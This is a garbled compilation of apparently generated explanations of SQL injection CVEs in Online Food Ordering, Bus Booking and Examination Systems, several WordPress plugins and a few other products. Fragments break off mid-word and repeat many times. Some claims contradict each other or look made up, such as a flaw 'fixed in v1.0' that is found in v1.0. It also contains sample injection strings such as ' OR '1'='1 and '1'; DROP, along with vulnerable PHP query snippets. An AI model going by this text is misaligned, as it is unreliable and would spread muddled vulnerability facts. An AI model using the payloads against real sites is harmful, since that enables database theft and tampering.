on 1.0. It consists of multiple unauthenticated SQL injection vulnerabilities that arise from the improper provided. Typically, SQL injection vulnerabilities are considered high-risk due to their potential to allow

manipulate database queries and potentially access or modify data without proper authentication. Test to the user-router.php resource with malicious SQL code included in the '*_verified' parameter. Similar to fluidattacks.com/advisories/hann- <https://projectworlds.in/>

ing, editing, or deleting data in the database; accessing sensitive customer information; executing arbitrary SQL. This system is vulnerable to CVE-2023-45347. If their system is vulnerable, they should look for a security patch or remediate SQL Injection vulnerabilities found in Online Food Ordering System v1.0. It was discovered that the 'verified' parameter is not properly sanitized, allowing an attacker to inject SQL code into the database query.

perform SQL Injection attacks due to improper input validation. This can lead to unauthorized data access of the user-router.php resource in the Online Food Ordering System v1.0, and it is where the SQL Injection attacks.com/advisories/hann and https://projectworlds.in/. These references may provide additional details on how to craft a specially designed SQL query that, when inserted into the '_role' parameter, could bypass authentication. To exploit this vulnerability, an attacker would send a malicious request to the vulnerable router/user-router.php with a payload that targets the '_role' parameter, specifically targeting the 'admin' role. This exploit is known to work on version 1.0, which involves multiple Unauthenticated SQL Injection vulnerabilities. Specifically, the 'admin' role is vulnerable to SQL Injection attacks.

commands on the database due to improper validation of input characters in the '*_deleted' parameter. A malicious actor might send a tainted payload to the affected parameter, such as ' OR '1'='1. For instance, a malicious actor might send a

fluidattacks.com/advisories/hann and <https://projectworlds.in/>.

tion vulnerability to bypass authentication, alter or delete data, access sensitive information, perform version 1.0, which is susceptible to multiple unauthenticated SQL Injection vulnerabilities. This issue is seen in the Food Ordering System v1.0. An attacker could exploit this vulnerability to manipulate SQL queries by injecting payloads in the 'id' parameter of the affected 'add-ticket.php' resource. For example, an attacker could carry out SQL injection attacks, potentially resulting in data theft, data alteration, or complete compromise. The researchers or entities that have analyzed the vulnerability. There are two primary sources: Fluid Attack or is not available ('N/A'). Without this score, it is challenging to quantify the risk using the Common Weakness Enumeration (CWE) framework. The vendor should have been alerted and encouraged to take appropriate mitigation steps to secure their systems. The Food Ordering System version 1.0. This vulnerability consists of multiple unauthenticated SQL Injection vulnerabilities.

into the '`*_balance`' parameter of the '`routers/user-router.php`' resource. Because this parameter is numeric example of an SQL injection in PHP might look like this: ``<?php \$username = \$ POST['username']`

n visit Fluid Attacks' advisories page at '<https://fluidattacks.com/advisories/hann>' or ProjectWorlds at nt. For precise risk assessment, checking updates from official CVSS sources or vulnerability databases I to exploit the input validation flaw in the '*_balance' parameter. For instance, if the application's use Online Food Ordering System software, version 1.0.

t-message.php resource in the Online Food Ordering System v1.0.

ing in unfiltered data sent directly to the database, which can lead to SQL Injection attacks.

sources can be found at the following URLs: <https://fluidattacks.com/advisories/hann> and <https://projectworlds.in/>. An attacker crafting a malicious SQL query that is sent via the 'ticket_id' parameter. As this parameter is not validated and sanitized on all user inputs, including the 'ticket_id' parameter. Using prepared statements is susceptible to multiple Unauthenticated SQL Injection vulnerabilities due to inadequate input validation.

rs/register-router.php resource.

ugh the 'phone' parameter, which is not properly sanitized before being included in a SQL query. This code through the vulnerable 'phone' parameter to achieve goals such as bypassing authentication mechanisms and <https://projectworlds.in/>.

ersion 1.0. It concerns multiple unauthenticated SQL injection vulnerabilities, where the '*_price' parameter vulnerability that allows an attacker to interfere with the queries an application makes to its database. Due to the '_price' parameter in requests to the routers/menu-router.php resource of the Online Food Ordering System, the underlying database of the Online Food Ordering System. This could lead to various malicious outcomes.

such as the advisory post by Fluid Attacks at '<https://fluidattacks.com/advisories/hann>' and potentially others. This vulnerability consists of multiple Unauthenticated SQL Injection vulnerabilities, particularly arbitrary SQL commands through the 'phone' parameter on the routers/details-router.php endpoint. This means without needing to authenticate to the application, attackers could use the 'phone' parameter in an attacker sending a request to the Online Food Ordering System's details-router.php with a malicious payload. An attacker could gain access to personal data such as customer names, addresses, phone numbers, and payment reporting entities. Two such references include '<https://fluidattacks.com/advisories/hann>' and '<https://projectworlds.in/>'. These vulnerabilities are due to improper input validation failing to prevent SQL injection attacks against the Online Food Ordering System v1.0 without requiring authentication. An attacker could use the routers/add-ticket.php resource by sending specially crafted SQL payloads. Since the parameter does not validate the 'type' parameter, where an attacker includes a malicious SQL statement within the 'type' parameter: 'http://<target-domain>/add-ticket.php?<username>=OR 1=1 --'. A security advisory from Fluid Attacks, located at <https://fluidattacks.com/advisories/hann>. The advisory states:

or updates provided by the application developers or vendor immediately. Implement proper input validation to prevent SQL injection attacks.

The Online Food Ordering System v1.0 is vulnerable to SQL Injection.

to validate the characters received for the 'username' parameter, and these characters are sent unfiltered. An attacker could use the routers/add-ticket.php resource to manipulate the database, extract sensitive data, alter database content, or perform something like ' OR 1=1 --'. This payload, when passed as the 'username' parameter, could trick the application into executing a malicious SQL query.

<https://fluidattacks.com/advisories/hann> and <https://projectworlds.in/>.

at the time of publication.

37, as this version is prone to SQL Injection vulnerabilities affecting the 'username' parameter.

ough the 'username' parameter in the routers/router.php resource. Since there is no proper sanitization.

336.

Unauthenticated SQL Injection vulnerabilities.

tem v1.0 is susceptible to SQL Injection according to CVE-2023-45336.

'A).

<https://fluidattacks.com/advisories/hann> and <https://projectworlds.in/>.

An attacker sending a specially crafted payload to the 'password' parameter in routers/router.php that enables attackers performing unauthorized read or write operations on the database, such as extracting user information version 1.0. It involves multiple Unauthenticated SQL Injection vulnerabilities, particularly affecting users as an attacker to execute arbitrary SQL commands on the database without proper authorization.

nts through the 'id' parameter in the 'edit-orders.php' resource of the Online Food Ordering System. Si

``// Example URL crafted by an attacker [http://example.com/edit-orders.php?id=105 OR 1=1](http://example.com/edit-orders.php?id=105%20OR%201=1)// The SQL query retrieves sensitive customer data such as names, addresses, and payment details from the database. The differences:- Fluid Attacks Advisory: <https://fluidattacks.com/advisories/hann>- Project Worlds: <https://projectworlds.in/>

The Online Food Ordering System version 1.0. This issue arises due to improper validation of user input in the 'status' parameter of the routers/edit-orders.php resource. An attacker sends a malicious SQL statement and inserting it into the 'status' parameter of the routers/edit-orders.php resource. This leads to sensitive data stored in the database of the Online Food Ordering System, corruption or manipulation. The vulnerability is identified as CVE-2023-45334. Affected users should check the official website or contact the main support channels which include advisories and potentially the official project website. The referenced URLs are '<https://fluidattacks.com/advisories/hann>' and '<https://projectworlds.in/>'. These sources may publicly disclose and assign the CVE identifier.

In the Online Food Ordering System version 1.0. Specifically, the vulnerability arises due to the 'verified' parameter.

An attacker sends a malicious SQL statement through the 'verified' parameter of the 'add-users.php' resource. Since the input is not properly validated, it allows the injection of malicious SQL statements into input fields that are part of SQL queries.

submitting the following string into the 'verified' parameter in a web request to 'add-users.php': '1'; DROP. This leads to sensitive data destruction, and a compromised integrity of the affected system. It may also lead to other potential issues.

The sources for this information are '<https://fluidattacks.com/advisories/hann>' and '<https://projectworlds.in/>'. These sources may offer more detailed information on the vulnerability.

The Online Food Ordering System version 1.0, where the system is susceptible to multiple Unauthenticated SQL Injection vulnerabilities. Specifically, the vulnerability arises due to the lack of proper sanitization of user input.

An attacker can perform unauthorized viewing and extraction of data from the database, modification or deletion of data, bypassing the security measures implemented by the system.

The sources for this information are '<https://fluidattacks.com/advisories/hann>' and '<https://projectworlds.in/>'. These sources may offer more detailed information on the vulnerability.

331.

line Food Ordering System v1.0.

't' parameter of the routers/add-users.php resource.

't' parameter does not properly validate the characters received, allowing them to be sent unfiltered to the database. Imagine a PHP snippet where the 'contact' parameter from a POST request is included directly into a SQL query. This can lead to actions such as extracting sensitive data from the database, tampering with database contents, and potentially more. This vulnerability was reported on 02 November 2023.

This vulnerability is located at '<https://fluidattacks.com/advisories/hann>' and '<https://projectworlds.in/>'.

This vulnerability is related to multiple Unauthenticated SQL Injection vulnerabilities in the system. To exploit it, an attacker can send crafted SQL queries through the 'username' parameter in the add-users.php endpoint.

An example of a malicious SQL statement might look like: ' OR '1'='1'. Here's how an attack might be constructed: [http://example.co](http://example.com)m. The attacker sends this query to the database, leading to data theft, alteration, or deletion. The attackers could potentially obtain personal information such as names, addresses, and payment details.

idattacks and projectworlds. The URLs for reference are: - <https://fluidattacks.com/advisories/hann> - <https://projectworlds.in/>. These vulnerabilities were discovered in the Online Food Ordering System software, version 1.0. These vulnerabilities arise because the software does not properly validate user input. Attackers can exploit the SQL Injection vulnerabilities to execute arbitrary SQL commands on the underlying database.

To exploit CVE-2023-45329, an attacker could involve submitting a request to the routers/add-users.php endpoint with a malicious SQL query. For example:

1. Apply any available patches or updates from the software vendor to fix the SQL Injection vulnerability.

2. If the vendor has not released a patch, an attacker can exploit the vulnerability by sending a crafted SQL query. For example:

' OR '1'='1'. This vulnerability is related to multiple unauthenticated SQL Injection vulnerabilities wherein an attacker can result in data theft, data manipulation, and possibly privilege escalation. The attackers could extract sensitive information such as names, addresses, and payment details.

It is recommended to update the system to a version that addresses the SQL Injection vulnerabilities. This typically involves input validation and proper handling of user input. For instance, the password parameter in the add-users.php endpoint is vulnerable to SQL injection attacks.

The vulnerability was first discovered on November 2, 2023. It is currently tracked under CVE-2023-45329. This information may be updated as the analysis of the vulnerability progresses.

Specifically regarding multiple Unauthenticated SQL Injection issues. The 'name' parameter in the routers/add-users.php endpoint is vulnerable to SQL injection attacks.

The vulnerability was first discovered on November 2, 2023. It is currently tracked under CVE-2023-45326.

The vulnerability is located at '<https://fluidattacks.com/advisories/hann2>' and '<https://projectworlds.in/>'. This vulnerability is related to multiple Unauthenticated SQL Injection vulnerabilities in the system. To exploit it, an attacker can send crafted SQL queries through the 'name' parameter in the routers/add-users.php endpoint.

The vulnerability is located at '<https://fluidattacks.com/advisories/hann2>' and '<https://projectworlds.in/>'. This vulnerability is related to multiple Unauthenticated SQL Injection vulnerabilities in the system. To exploit it, an attacker can send crafted SQL queries through the 'name' parameter in the routers/add-users.php endpoint.

The vulnerability is located at '<https://fluidattacks.com/advisories/hann2>' and '<https://projectworlds.in/>'. This vulnerability is related to multiple Unauthenticated SQL Injection vulnerabilities in the system. To exploit it, an attacker can send crafted SQL queries through the 'name' parameter in the routers/add-users.php endpoint.

The vulnerability is located at '<https://fluidattacks.com/advisories/hann2>' and '<https://projectworlds.in/>'. This vulnerability is related to multiple Unauthenticated SQL Injection vulnerabilities in the system. To exploit it, an attacker can send crafted SQL queries through the 'name' parameter in the routers/add-users.php endpoint.

The vulnerability is located at '<https://fluidattacks.com/advisories/hann2>' and '<https://projectworlds.in/>'. This vulnerability is related to multiple Unauthenticated SQL Injection vulnerabilities in the system. To exploit it, an attacker can send crafted SQL queries through the 'name' parameter in the routers/add-users.php endpoint.

:ps://fluidattacks.com/advisories/hann- https://projectworlds.in/
↳ the injection points to either gain unauthorized access to the Online Food Ordering System's database
-45325.

erable to SQL Injection.

CVE-2023-45325, is that it does not validate the characters received and sends them unfiltered to the L code through the 'address' parameter in a query to the add-users.php resource. For instance, an atta orized access to or modification of data, bypassing authentication measures, exfiltration of sensitive d

JRLs: <https://fluidattacks.com/advisories/hann> and <https://projectworlds.in/>.

↳d SQL Injection vulnerabilities found in Online Food Ordering System version 1.0. Specifically, the flaw the 'price' parameter of the routers/add-item.php resource in the Online Food Ordering System v1.0. S on technique that might be used to attack data-driven applications by inserting malicious SQL stateme ch as entering '105 OR 1=1' into the 'price' input field. This could potentially return all records from the proper input validation and sanitation techniques to ensure that only expected types of data can be subr have been released. It's recommended to check with the vendor's official resources or contact custome zed actions on the database, such as viewing sensitive information, deleting or altering data, or even c /ith the CVE details, which includes security advisories from organizations such as <https://fluidattacks.com>. This vulnerability is characterized by multiple unauthenticated SQL injection vulnera has not been evaluated or published at this time. Severity can be determined by factors such as impac

↳idattacks.com/advisories/hann and <https://projectworlds.in/> . These references may contain advisory ck may look something like this: A malicious actor sends a request to the vulnerable add-item.php pag the SQL injection vulnerabilities. The attacker might execute arbitrary SQL commands to leak sensitiv iere these methods failed to validate and sanitize client input properly, leading to a potential SQL injec igned to it.

lowing references: '<https://documentation.open-xchange.com/security/advisories/csaf/oxas-adv-202>: etwork and has API credentials. Such an attacker could craft malicious input to the Imageconverter AP ulnerability occurs when user input is concatenated directly into SQL statements without sanitization. I

↳ could be exploited to include SQL queries. Those queries would be executed unchecked, potentially a s of the imageconverter service. Importantly, this service is not exposed to public networks by default, ly checked for valid content to prevent abuse, and any attempts to circumvent this security check are t own.

wing URLs:- <https://documentation.open-xchange.com/security/advisories/csaf/oxas-adv-2023-0004.j>
↳d access to an adjacent network of the affected service, crafting malicious API requests that embed SC manipulated to execute SQL queries without proper checks. This means that arbitrary SQL statements ↳ the one where the imageconverter service is running. Once that level of access is obtained, the attac ly checked to ensure they contain valid content. Additionally, any attempts to bypass this validation pr

453. The vulnerability details, however, have been disclosed, and now that it has been publicly documented, release notes provided by Open-Xchange. The advisories are available at the following URLs:- <https://www.open-xchange.com/doc/advisories/>

An external attacker who has gained access to the internal network. The attacker could then craft and send requests to the imageconverter service. The SQL queries that could be executed is CVE-2023-26452.

It could be exploited to include SQL queries that would be executed unchecked. The exploitation of this vulnerability is limited to the internal networks of the imageconverter service. It is not exposed to the public networks by default, so even if an external attacker gains access to the internal network, they would need to have valid credentials to exploit this vulnerability.

such as the Open-Xchange security advisories page at <https://documentation.open-xchange.com/security/cve-2023-26452>.

or valid content, and attempts to circumvent this check are being logged as an error. This ensures that an external attacker who has gained access to the internal network to the imageconverter service sending specially crafted requests that include malicious SQL queries. The vulnerability is present in version v1.0. It involves multiple Unauthenticated SQL Injection vulnerabilities, specifically with the 'category' parameter. An attacker can inject malicious SQL queries into the database through the improperly validated 'category' parameter. The 'category' parameter is used to filter results based on category. The 'category' parameter is not properly sanitized, which allows an attacker to inject unauthorized SQL commands, potentially leading to the compromise of database integrity, confidentiality, and availability. Additionally, users can bypass this check by providing a valid category name or attempting to circumvent it.

```php\$ category = \$\_GET['category'];\$query = 'SELECT \* FROM bus\_schedule WHERE category = ' . \$category;```

The code above shows a PHP script that retrieves user input from the 'category' query string parameter and uses it in an SQL query. This is a classic example of an SQL injection vulnerability. The user input is directly concatenated into the SQL query without proper sanitization, allowing an attacker to inject their own SQL code. For example, if an attacker sends a request like 'OR 1=1', the resulting SQL query would be 'SELECT \* FROM bus\_schedule WHERE category = ' OR 1=1''. This would return all rows from the 'bus\_schedule' table.

This vulnerability was found in the Online Bus Booking System v1.0.

The vulnerability was fixed in the Online Bus Booking System v1.0.

The vulnerability was fixed in the Online Bus Booking System v1.0. The fix involved validating the 'category' parameter to ensure that only expected data types and formats are accepted. Additionally, users can bypass this check by providing a valid category name or attempting to circumvent it.

```php\$ username = \$\_POST['username'];\$query = "SELECT \* FROM users WHERE username = '\$username'";```

The code above shows a PHP script that retrieves user input from the 'username' query string parameter and uses it in an SQL query. This is a classic example of an SQL injection vulnerability. The user input is directly concatenated into the SQL query without proper sanitization, allowing an attacker to inject their own SQL code. For example, if an attacker sends a request like 'OR 1=1', the resulting SQL query would be 'SELECT * FROM users WHERE username = ' OR 1=1''. This would return all rows from the 'users' table.

This vulnerability was found in the Online Bus Booking System v1.0.

The vulnerability was fixed in the Online Bus Booking System v1.0. The fix involved validating the 'username' parameter to ensure that only expected data types and formats are accepted. Additionally, users can bypass this check by providing a valid username or attempting to circumvent it.

```php\$ source = \$\_GET['source'];\$destination = \$\_GET['destination'];\$query = "SELECT \* FROM search WHERE source = '\$source' AND destination = '\$destination'";```

The code above shows a PHP script that retrieves user input from the 'source' and 'destination' query string parameters and uses them in an SQL query. This is a classic example of an SQL injection vulnerability. The user input is directly concatenated into the SQL query without proper sanitization, allowing an attacker to inject their own SQL code. For example, if an attacker sends a request like 'OR 1=1', the resulting SQL query would be 'SELECT \* FROM search WHERE source = ' OR 1=1' AND destination = ' OR 1=1''. This would return all rows from the 'search' table.

This vulnerability was found in the Online Bus Booking System v1.0. The fix involved validating the 'source' and 'destination' parameters to ensure that only expected data types and formats are accepted. Additionally, users can bypass this check by providing a valid source and destination or attempting to circumvent it.

```php\$ source = \$\_POST['source'];\$destination = \$\_POST['destination'];\$query = "SELECT \* FROM search WHERE source = '\$source' AND destination = '\$destination'";```

The code above shows a PHP script that retrieves user input from the 'source' and 'destination' query string parameters and uses them in an SQL query. This is a classic example of an SQL injection vulnerability. The user input is directly concatenated into the SQL query without proper sanitization, allowing an attacker to inject their own SQL code. For example, if an attacker sends a request like 'OR 1=1', the resulting SQL query would be 'SELECT * FROM search WHERE source = ' OR 1=1' AND destination = ' OR 1=1''. This would return all rows from the 'search' table.

This vulnerability was found in the Online Bus Booking System v1.0. The fix involved validating the 'source' and 'destination' parameters to ensure that only expected data types and formats are accepted. Additionally, users can bypass this check by providing a valid source and destination or attempting to circumvent it.

```php\$ source = \$\_GET['source'];\$destination = \$\_GET['destination'];\$query = "SELECT \* FROM search WHERE source = '\$source' AND destination = '\$destination'";```

The code above shows a PHP script that retrieves user input from the 'source' and 'destination' query string parameters and uses them in an SQL query. This is a classic example of an SQL injection vulnerability. The user input is directly concatenated into the SQL query without proper sanitization, allowing an attacker to inject their own SQL code. For example, if an attacker sends a request like 'OR 1=1', the resulting SQL query would be 'SELECT \* FROM search WHERE source = ' OR 1=1' AND destination = ' OR 1=1''. This would return all rows from the 'search' table.

v1.0. It refers to multiple unauthenticated SQL Injection vulnerabilities within the software, specifically malicious SQL queries through the 'date' parameter of the bus\_info.php resource in the Online Bus Booking System version 1.0. The 'Base Score' field indicates 'N/A', which means that the severity of this vulnerability has not been officially assessed. Here are the available references:- <https://fluidattacks.com/advisories/oconnor> - <https://projectworlds.in/>

A piece of code might look something like this: ````php<?php\$connection = new mysqli('localhost', 'user', 'password'); \$query = "SELECT \* FROM bus\_info WHERE bus\_id = '\$bus\_id'"; \$result = \$connection->query(\$query); \$row = \$result->fetch\_assoc(); echo \$row['name']; ```` This is found in Online Bus Booking System version 1.0. It specifically affects the 'bus\_id' parameter of the bus\_info.php resource.

This is a classic example of SQL injection attacks.

It is important to validate the characters received. This results in submitted data being sent unfiltered to the database, which can lead to SQL injection attacks.

For example, a query like this: ````<?php\$bus\_id = \$\_GET['bus\_id'];\$query = "SELECT \* FROM bus\_info WHERE bus\_id = '\$bus\_id'"; \$result = \$connection->query(\$query); \$row = \$result->fetch\_assoc(); echo \$row['name']; ``````` This is found in Online Bus Booking System version 1.0. It is a set of multiple unauthenticated SQL Injection vulnerabilities, specifically within the bus\_info.php resource of the Online Bus Booking System v1.0.

Given that this is an unauthenticated SQL Injection vulnerability, it can be considered a serious security risk. SQL Injection attacks involve sending malicious SQL queries to the database by manipulating user input. Since the input is not properly sanitized, this could be because the scoring process hasn't been completed, or more analysis is required to determine the exact nature of the vulnerability.

For example, a query like this: ````<?php\$bus\_id = \$\_GET['bus\_id'];\$query = "SELECT \* FROM bus\_info WHERE bus\_id = '\$bus\_id'"; \$result = \$connection->query(\$query); \$row = \$result->fetch\_assoc(); echo \$row['name']; ``````` This is found in Online Bus Booking System version 1.0 which is susceptible to multiple Unauthenticated SQL Injection vulnerabilities.

Another example is the manipulation of the 'user\_email' parameter in the bus\_info.php resource to execute malicious SQL queries against the database. For example, if an attacker submits the following input to the 'user\_email' parameter: ' OR '1'='1' In this scenario, if the input is not properly sanitized, it can lead to SQL injection attacks.

For example, a query like this: ````<?php\$bus\_id = \$\_GET['bus\_id'];\$query = "SELECT \* FROM bus\_info WHERE bus\_id = '\$bus\_id'"; \$result = \$connection->query(\$query); \$row = \$result->fetch\_assoc(); echo \$row['name']; ``````` This is found in Online Bus Booking System version 1.0 which is susceptible to multiple Unauthenticated SQL Injection vulnerabilities.

Another example is the manipulation of the 'subject' parameter in the feed.php resource to execute arbitrary SQL code on a database server. For example, if an attacker submits the following input to the 'subject' parameter: ' OR '1'='1' -- In this scenario, if the input is not properly sanitized, it can lead to SQL injection attacks.

For example, a query like this: ````<?php\$bus\_id = \$\_GET['bus\_id'];\$query = "SELECT \* FROM bus\_info WHERE bus\_id = '\$bus\_id'"; \$result = \$connection->query(\$query); \$row = \$result->fetch\_assoc(); echo \$row['name']; ``````` This is found in Online Bus Booking System version 1.0 which is susceptible to multiple Unauthenticated SQL Injection vulnerabilities.

Another example is the manipulation of the 'name' parameter in the feed.php resource to execute arbitrary SQL code on a database server. For example, if an attacker submits the following input to the 'name' parameter: ' OR '1'='1' -- In this scenario, if the input is not properly sanitized, it can lead to SQL injection attacks.

For example, a query like this: ````<?php\$bus\_id = \$\_GET['bus\_id'];\$query = "SELECT \* FROM bus\_info WHERE bus\_id = '\$bus\_id'"; \$result = \$connection->query(\$query); \$row = \$result->fetch\_assoc(); echo \$row['name']; ``````` This is found in Online Bus Booking System version 1.0 which is susceptible to multiple Unauthenticated SQL Injection vulnerabilities.

JRLs: <https://fluidattacks.com/advisories/pires>, <https://projectworlds.in/>.

ing a specially crafted request to the Online Examination System, something like: `http://victim-site.co validation and sanitization. The 'name' parameter in feed.php receives user-supplied data that is not b ed access to database content, compromising the confidentiality, integrity, and availability of the data. er input validation and sanitization to ensure that any data received by the 'name' parameter is treate version 1.0. It is reported to have multiple Unauthenticated SQL Injection vulnerabilities, particularly c Specifically, the vulnerability is linked to the handling of the 'feedback' parameter by this component. feedback' parameter in the feed.php resource. Since the application does not validate input character references are: Fluid Attacks advisories at <https://fluidattacks.com/advisories/pires> and [E-2023-45112 using the 'feedback' parameter in an HTTP request to the feed.php page:POST /feed.php he Online Examination System should apply input validation and sanitization techniques to the 'feedb: 1.](https://projec s they may allow attackers to read, modify, or delete sensitive data in the database, disrupt the functio ly, Common Vulnerability Scoring System (CVSS) scores are provided to gauge the severity of a vulnera</p></div><div data-bbox=)

line Examination System v1.0. Specifically, the vulnerability arises from the 'email' parameter of the fe L.

'<https://fluidattacks.com/advisories/pires>' and '<https://projectworlds.in/>'.

like this: ```php\$email = \$\_GET['email'];\$sql = "SELECT \* FROM users WHERE email = '\$email"';\$result us SQL code to the vulnerable 'email' parameter of the feed.php resource. This input, if directly include

oreframe/app/database/admin/index.php component.

ould potentially lead to unauthorized data access, data manipulation, or compromising the database.

: <https://github.com/XTo-o1/PHP/blob/main/wuzhicms/WUZHI%20CMS%20v4.1.0%20SQL%20Injectic>

ving of sensitive information, data corruption or deletion, and possibly full control of the affected data

SQL injection code snippet that might be used in such a scenario could look like the following (Note: This epared statements with parameterized queries, employing ORM (Object-Relational Mapping) framew

P CRM versions up to and including 17.0.3. This security flaw allows an unauthorized authenticated us omised. This might include personal customer information, contact details, financial records, or any ot se, and it can be reviewed on GitHub through the provided reference link. Users are advised to update

ver-privileged access to the Dolibarr ERP CRM system. Exploiting the improper access control vulnerab managing security-critical application permissions. Before version 1.27.0-rc1, when the provided datas

datastore URI, especially the password within it, is no longer printed in the logs when the URI is malfo dentials such as passwords. This exposure could lead to unauthorized access if log files are intercepte dvisory at '<https://github.com/authzed/spicedb/security/advisories/GHSA-jg7w-cxjv-98c2>', or by revie ould be a URI where the password contains a colon, such as 'postgres://username:pa:ss@word@host plication logs that contain the exposed credentials due to the vulnerability. They could exploit this ac

al Elements used in an SQL Command' which is commonly known as SQL Injection vulnerability. This vulnerability can be exploited through the input fields of the vulnerable plugin. This could manipulate the website's database to disclose sensitive information, such as user passwords or credit card details, even if the version is 'n/a' through to version 1.7.1. It is advised that all users of this plugin update to a version that addresses this vulnerability. The developers, BestWebSoft, have issued a patch for this issue. To mitigate the risk, users should contact BestWebSoft, the developers of the affected plugin, and apply any patches or updates they may have released. Additionally, users should review the plugin's documentation for more information, to complete system compromise, where an attacker can gain administrative access. The developer, BestWebSoft, has issued a patch for this issue. To mitigate the risk, users should contact BestWebSoft, the developers of the affected plugin, and apply any patches or updates they may have released. Additionally, users should review the plugin's documentation for more information. The vulnerability was identified by Patchstack and assigned the identifier CVE-2023-31212.

Contact Form 7, WPforms, and Elementor forms contact-form-entries.

of the Database for Contact Form 7, WPforms, and Elementor forms contact-form-entries plugins.

[watchstack.com/database/vulnerability/contact-form-entries/wordpress-contact-form-entries-plugin-1-vulnerability.](http://watchstack.com/database/vulnerability/contact-form-entries/wordpress-contact-form-entries-plugin-1-vulnerability/)

ious SQL query that is injected through user input fields, like a contact form on a website that uses an SQL query for WordPress. It is an SQL Injection vulnerability that affects versions up to and including 8.0 of the plugin. The plugin includes additional SQL statements. Because the plugin does not adequately sanitize user input or validate user input, an attacker with at least subscriber-level permissions on the WordPress site. Account privileges at this level or higher can learn about the vulnerability, such as the WordPress plugin's repository and security advisories like the ones mentioned earlier. References include a direct link to the plugin's source code on the WordPress repository where the vulnerability is described. An example of an SQL injection in a WordPress plugin might look something like this: ``php \$user\_input = \$\_GET['parameter']'. This means that an attacker could gain unauthorized access to the database, retrieve sensitive information including personal data, and potentially delete or modify it. The plugin developer should immediately update to a version that addresses this vulnerability, if such an update is available. The plugin developer should also fix the SQL Injection via the plugin's shortcode due to insufficient escaping of user-supplied parameters and update the plugin to version 12.0.

ier permissions by appending additional SQL queries into the existing queries via the plugin's shortcod  
onal SQL queries to the existing queries run by the plugin, potentially leading to unauthorized access t

es:- <https://plugins.trac.wordpress.org/browser/wp-image-slideshow/trunk/wp-image-slideshow.php>  
ed in CVE-2023-5438: ``php// The shortcode that processes user input could be something like thisfunc  
ing unauthorized disclosure of sensitive data from the database, insertion of malicious data, modificatio  
dPress. This vulnerability is related to SQL Injection, where the plugin's shortcode functionality is mis  
evel permissions on the WordPress website using the vulnerable plugin. These attackers can manipula

· WordPress up to and including version 12.0. WordPress websites with this plugin installed and activated can extract sensitive information from the WordPress database, such as user credentials, personal data, and file paths. The vulnerability was discovered in version 1.4.1 of the plugin on April 4, 2023. It allows authenticated attackers to perform SQL Injection attacks. These attacks might lead to unauthorized access or data theft. To mitigate this risk, users should regularly check for and apply any updates or patches provided by the plugin developers. If a patch is not yet available, users should ensure that the plugin's code does not inadequately sanitize user-supplied input. For example, if the vulnerable code in the plugin constructs SQL queries without properly escaping user input, it can lead to SQL injection. To identify potential vulnerabilities, users can review the plugin's source code and documentation, or use automated tools like OWASP ZAP or Nmap to scan their website for known vulnerabilities. Additionally, users should keep their WordPress installation up-to-date with security patches and updates.

dPress are affected by CVE-2023-5435.

evel access to a WordPress site using the vulnerable plugin. The attacker could exploit the vulnerability available. However, given that it could potentially be exploited to extract sensitive data from a database.

ences include the WordPress plugin repository history, which shows the affected code and the change

ry plugin for WordPress.

cient escaping on the user-supplied parameter and lack of sufficient preparation on the existing SQL query -2023-5434 vulnerability.

rmination from the database.

WordPress plugin repository showing the vulnerable code: <https://plugins.trac.wordpress.org/browser/> the CVE-2023-5433 vulnerability.

bscriber-level access to a WordPress website. The attacker could exploit the vulnerability by injecting r  
v gallery plugin for WordPress, which suffers from an SQL Injection issue. Specifically, the vulnerability  
, SQL Injection vulnerabilities are generally considered high-severity issues because they can give atta

iber-level or higher permissions on the WordPress site where the affected plugin is installed. This means shortcode containing an SQL command that is improperly escaped due to the vulnerability. This concerns:1. The WordPress plugin's repository browser link showing the relevant source code at the specific

o, and including, 3.0.

ve permissions by using the plugin's shortcode to append additional SQL queries into already existing ones. The parameter and lack of sufficient preparation on the existing SQL query within the Jquery news ticker plugin.

:- <https://plugins.trac.wordpress.org/browser/browser/jquery-news-ticker/trunk/jquery-news-ticker.php?rev=2>  
Plugin's shortcode handler directly includes user input in an SQL query without proper sanitization or prepared statements, leading to unauthorized viewing of data, extraction of sensitive information, or manipulation of database entries.

dPress. It is an SQL Injection vulnerability that exists in versions up to and including 10.0 of the plugin. supplied parameters are not properly escaped, and the SQL query is not sufficiently prepared. This allc or above on the WordPress site where the vulnerable Information Reel plugin is installed.

official WordPress plugin repository's Trac system and Wordfence's threat intelligence feed. Here are some examples of how a SQL injection attack that could be similar to the one in CVE-2023-5429 might look like this:

rmissions, injecting SQL commands to unlawfully retrieve data such as usernames, passwords, and personal information from the database. The vulnerability is identified in the `get_images` function of the `wp-content/themes/your-theme/functions.php` file. This function uses the `get_posts` query with the `'meta_query'` parameter set to an array containing a single key-value pair where the key is `'id'` and the value is the user ID. An attacker can exploit this by injecting their own SQL code into the `'id'` parameter. For example, if the user ID is 1, an attacker could inject `'id': 1 OR 1=1` to retrieve all users from the database.

dPress are affected by CVE-2023-5428.

• All slideshows plugin for WordPress. Specifically, the vulnerability is an SQL Injection issue that affects versions listed as 'N/A'. However, SQL Injection vulnerabilities are generally considered to be high severity due to the fact that they can be exploited by anyone with access to the database. The most recent version available at the time of this writing is 13.2. Users of the plugin should upgrade to a later version that has patch installed with at least subscriber-level permissions. This means that the vulnerability can be exploited if the user has the ability to modify database queries. One common way to exploit this vulnerability is to use a plugin or theme that uses shortcodes. Another way is to use a plugin that provides a way to inject SQL code into the database. For example, the 'WP-SQL-Injection' plugin allows users to inject SQL code into the database via a shortcode. This can be used to perform various types of attacks, such as reading sensitive data or modifying existing data. It's important to note that this vulnerability has been fixed in newer versions of the plugin, so it's recommended to update to the latest version.

r-level access to the WordPress site. They might craft a malicious shortcode input for the Google Maps plugin. It is recommended that users should immediately update to a version of the plugin that addresses the vulnerability, if such a version is available. The vulnerability affects versions prior to 1.0. It indicates that the system is affected by multiple Authenticated SQL Injection vulnerabilities. An attacker who is authenticated to potentially manipulate database queries by injecting malicious SQL code into the 'setcasualleave' parameter of the admin management System Project. The attacker can manipulate the 'setcasualleave' parameter of the admin, which can lead to unauthorized database interactions. The nature of the database interactions that can be manipulated. SQL Injection attacks can lead to unauthorized data retrieval or modification.

'/fluidattacks.com/advisories/martin/ and https://projectworlds.in/. These sources may provide further information.  
E-2023-40121.

EscapedSQLString within the DatabaseUtils.java file. This could potentially lead to local information disclosure, where sensitive data could be accessed or leakage of information could occur through SQL injection. It is important to note that some level of access to the system is required for an attacker to carry out the exploit, as opposed to a remote exploit.

ing URLs: <https://android.googlesource.com/platform/frameworks/base/+/3287ac2d2565dc96bf617>. A typical attack scenario might involve an attacker crafting input data that when deserialized by append()ed information.

